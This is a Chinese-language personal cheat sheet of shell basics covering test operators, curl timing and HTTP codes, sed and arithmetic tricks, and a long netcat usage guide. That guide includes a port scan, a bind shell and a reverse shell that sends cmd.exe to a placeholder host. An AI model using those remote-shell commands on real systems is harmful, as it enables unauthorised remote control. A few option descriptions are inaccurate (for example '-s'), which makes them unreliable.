shell基础
注:因shell不是经常写,所以写的时候有些细节会想不起来,特在此处记录一些shell基础语法
1.比较
-ne —比较两个参数是否不相等 -lt —参数1是否小于参数2 -le —参数1是否小于等于参数2 -gt —参数1是否大于参数2 -ge —参数1是否大于等于参数2 -f —检查某文件是否存在(例如,if [ -f "filename" ]) -d —检查目录是否存在
-z -判断该变量是否为空
-n -判断变量是否为非空
-r -判断指定的文件是否存在且有读权限
-w -判断指定的文件是否存在且有写权限
-x -判断指定的文件是否存在且有执行权限
2.判断变量值是否包含某个字符串
str="this is a string"
要想在判断str中是否含有"this"这个字符串,下面的语句是可行的
[[ $str =~ "this" ]] && echo "\$str contains this"
3.创建到目标主机的持久化连接
ssh -MNf <user>@<host>
在后台创建到目标主机的持久化连接,将这个命令和你~/.ssh/config中的配置结合使用:
Host host ControlPath ~/.ssh/master-%r@%h:%p ControlMaster no
所有到目标主机的SSH连接都将使用持久化SSH套接字,如果你使用SSH定期同步文件(使用rsync/sftp/cvs/svn),这个命令将非常有用,因为每次打开一个SSH连接时不会创建新的套接字。
4.Curl http_code 状态码 意义及信息
shell命令:
curl -I -m 10 -o /dev/null -s -w %{http_code} http://test.com -->网站可用性
curl -s -o /dev/null -w %{time_total} www.baidu.com -->网站响应速度
curl -o /dev/null -s -w %{time_namelookup}:%{time_connect}:%{time_starttransfer}:%{time_total} http://www.baidu.com
0.037 : 0.042 : 2.692 : 2.765
解析 建立连接 传输 总
curl爬取过程中,会返回一个http_code,下面是他们的意义信息 $http_code["0"]="Unable to access"; $http_code["100"]="Continue"; $http_code["101"]="Switching Protocols"; $http_code["200"]=”OK”; $http_code["201"]=”Created”; $http_code["202"]=”Accepted”; $http_code["203"]=”Non-Authoritative Information”; $http_code["204"]=”No Content”; $http_code["205"]=”Reset Content”; $http_code["206"]=”Partial Content”; $http_code["300"]=”Multiple Choices”; $http_code["301"]=”Moved Permanently”; $http_code["302"]=”Found”; $http_code["303"]=”See Other”; $http_code["304"]=”Not Modified”; $http_code["305"]=”Use Proxy”; $http_code["306"]=”(Unused)”; $http_code["307"]=”Temporary Redirect”; $http_code["400"]=”Bad Request”; $http_code["401"]=”Unauthorized”; $http_code["402"]=”Payment Required”; $http_code["403"]=”Forbidden”; $http_code["404"]=”Not Found”; $http_code["405"]=”Method Not Allowed”; $http_code["406"]=”Not Acceptable”; $http_code["407"]=”Proxy Authentication Required”; $http_code["408"]=”Request Timeout”; $http_code["409"]=”Conflict”; $http_code["410"]=”Gone”; $http_code["411"]=”Length Required”; $http_code["412"]=”Precondition Failed”; $http_code["413"]=”Request Entity Too Large”; $http_code["414"]=”Request-URI Too Long”; $http_code["415"]=”Unsupported Media Type”; $http_code["416"]=”Requested Range Not Satisfiable”; $http_code["417"]=”Expectation Failed”; $http_code["500"]=”Internal Server Error”; $http_code["501"]=”Not Implemented”; $http_code["502"]=”Bad Gateway”; $http_code["503"]=”Service Unavailable”; $http_code["504"]=”Gateway Timeout”; $http_code["505"]=”HTTP Version Not Supported”;
5.test
基本格式: test expression expression为test命令构造的表达式。 这里expression是test命令可以理解的任何有效表达式,该简化格式将是读者可能会踫见的最常用格式 返回值: test命令或者返回0(真) 或者返回1(假). test可理解的表达式类型分为四类: 表达式判断 字符串比较 数字比较 文件比较 1)判断表达式 if test (表达式为真) if test !表达式为假 test 表达式1 –a 表达式 2 两个表达式都为真 test 表达式1 –o 表达式2 两个表达式有一个为真 2)判断字符串 test –n 字符串 字符串的长度非零 test –z 字符串 字符串的长度为零 test 字符串1=字符串 2 字符串相等 test 字符串1 !=字符串2 字符串不等 3)判断整数 test 整数1 –eq 整数2 整数相等 test 整数 1 –ge 整数2 整数1大于等于整数2 test 整数1 –gt 整数 2 整数1大于整数2 test 整数1 –le 整数 2 整数1小于等于整数2 test 整数1 –lt 整数 2 整数1小于整数2 test 整数1 –ne 整数 2 整数1不等于整数2 4)判断文件 test File1 –ef File2 两个文件具有同样的设备号和i结点号 test File1 –nt File2 文件1比文件2 新 test File1 –ot File2 文件1比文件2 旧 test –b File 文件存在并且是块设备文件 test –c File 文件存在并且是字符设备文件 test –d File 文件存在并且是目录 test –e File 文件存在 test –f File 文件存在并且是正规文件 test –g File 文件存在并且是设置了组ID test –G File 文件存在并且属于有效组ID test –h File 文件存在并且是一个符号链接(同-L) test –k File 文件存在并且设置了sticky位 test –b File 文件存在并且是块设备文件 test –L File 文件存在并且是一个符号链接(同-h) test –o File 文件存在并且属于有效用户ID test –p File 文件存在并且是一个命名管道 test –r File 文件存在并且可读 test –s File 文件存在并且是一个套接字 test –t FD 文件描述符是在一个终端打开的 test –u File 文件存在并且设置了它的set-user-id位 test –w File 文件存在并且可写 test –x File 文件存在并且可执行 test xxx 可以简写成 [ xxx ] 的形式。 注意:在使用"["简写test时,左中括号后面的空格和右括号前面的空格是必需的,如果没有空格,Shell不可能辨别表达式何时开始何时结束. 也就是说 test option file 可以全部改写成: [ option file ] 例如: test –w File 改写成 [ –w File ] 【示例】 //判断第一个参数是否为空字符串,不空则打印 if test -n "$1" then echo "$1" fi 测试,放到文件当中 #!/bin/sh if test -n "$1" then echo "$1" fi 执行 chmod +x test.sh ./test.sh www.linuxpig.com
6.shell运算保留两位小数
用bc:
[root@myserver01 http]# a=`echo "scale=2;10/3"|bc`;echo $a
3.33
[root@myserver01 ~]# a=3 [root@myserver01 ~]# b=10 [root@myserver01 ~]# awk 'BEGIN{printf "%.2f%\n",('$b'/'$a')*100}' 333.33%
7. nc命令使用详解
功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...] 参 数: -g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。 -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。 -h 在线帮助。 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 -l 使用监听模式,管控传入的资料。 -n 直接使用IP地址,而不通过域名服务器。 -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 -p<通信端口> 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。 -s<来源位址> 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 详细输出--用两个-v可得到更详细的内容 -w<超时秒数> 设置等待连线的时间。 -z 使用0输入/输出模式,只在扫描通信端口时使用。 nc使用示例 1. 端口扫描 # nc -v -w 2 192.168.2.34 -z 21-24 nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused Connection to 192.168.2.34 22 port [tcp/ssh] succeeded! nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused 2. 从192.168.2.33拷贝文件到192.168.2.34 在192.168.2.34上: nc -l 1234 > test.txt 在192.168.2.33上: nc 192.168.2.34 < test.txt 3. 简单聊天工具 在192.168.2.34上: nc -l 1234 在192.168.2.33上: nc 192.168.2.34 1234 这样,双方就可以相互交流了。使用ctrl+C(或D)退出。 4. 用nc命令操作memcached 1)存储数据:printf“set key 0 10 6rnresultrn” |nc 192.168.2.34 11211 2)获取数据:printf“get keyrn” |nc 192.168.2.34 11211 3)删除数据:printf“delete keyrn” |nc 192.168.2.34 11211 4)查看状态:printf“statsrn” |nc 192.168.2.34 11211 5)模拟top命令查看状态:watch“echo stats” |nc 192.168.2.34 11211 6)清空缓存:printf“flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了) 5. nc -p 1234 -w 5 host.example.com 80 建立从本地1234端口到host.example.com的80端口连接,5秒超时 nc -u host.example.com 53 u为UDP连接 6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80 连接到主机并执行 7. nc -v -z host.example.com 70-80 扫描端口(70到80),可指定范围。-v输出详细信息。 8. 远程拷贝文件 从server1拷贝文件到server2上。需要先在server2上,用nc激活监听, server2上运行: root@hatest2 tmp]# nc -lp 1234 > install.log server1上运行: [root@hatest1 ~]# ll install.log -rw-r–r– 1 root root 39693 12月 20 2007 install.log [root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log 9. 克隆硬盘或分区 操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。 克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,在server2上进行类似的监听动作: # nc -l -p 1234 | dd of=/dev/sda server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务: # dd if=/dev/sda | nc 192.168.228.222 1234 ※完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。 10. 保存Web页面 # while true; do nc -l -p 80 -q 1 < somepage.html; done 11. 模拟HTTP Headers,获取网页源代码和返回头部信息 [root@hatest1 ~]# nc 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......] 在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。 12. 传输目录 从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行: 引用 [root@hatest2 tmp]# nc -l 1234 |tar xzvf - server1上运行: 引用 [root@hatest1 ~]# ll -d nginx-0.6.34 drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34 [root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234 13.REMOTE主机绑定SHELL 例子: 格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 14.REMOTE主机绑定SHELL并反向连接 例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
8.linux ping
9.shell变量$#,$@,$0,$1,$2的含义解释
linux中shell变量$#,$@,$0,$1,$2,$#的含义解释: 变量说明: $$ Shell本身的PID(ProcessID) $! Shell最后运行的后台Process的PID $? 最后运行的命令的结束代码(返回值) $- 使用Set命令设定的Flag一览 $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。 $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 $# 添加到Shell的参数个数 $0 Shell本身的文件名 $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。
$#
传入脚本的参数个数,或者传入函数的参数个数
10.使用sed删除文件的内容
a.删除文件第三行
sed -i '3d' file.txt
b.删除文件中包含"NewBalance"的那行
sed -i '/NewBalance/d' file.txt
c.删除file.txt的1~3行
sed -i '1,3d' file.txt
d.删除file.txt第4行及之后的所有行
sed -i '4,$d' file.txt
$表示文件的最后一行
11.判断变量是否为数字
[ -n "`echo $c|sed 's/[0-9]//g'`" ] && echo 111
...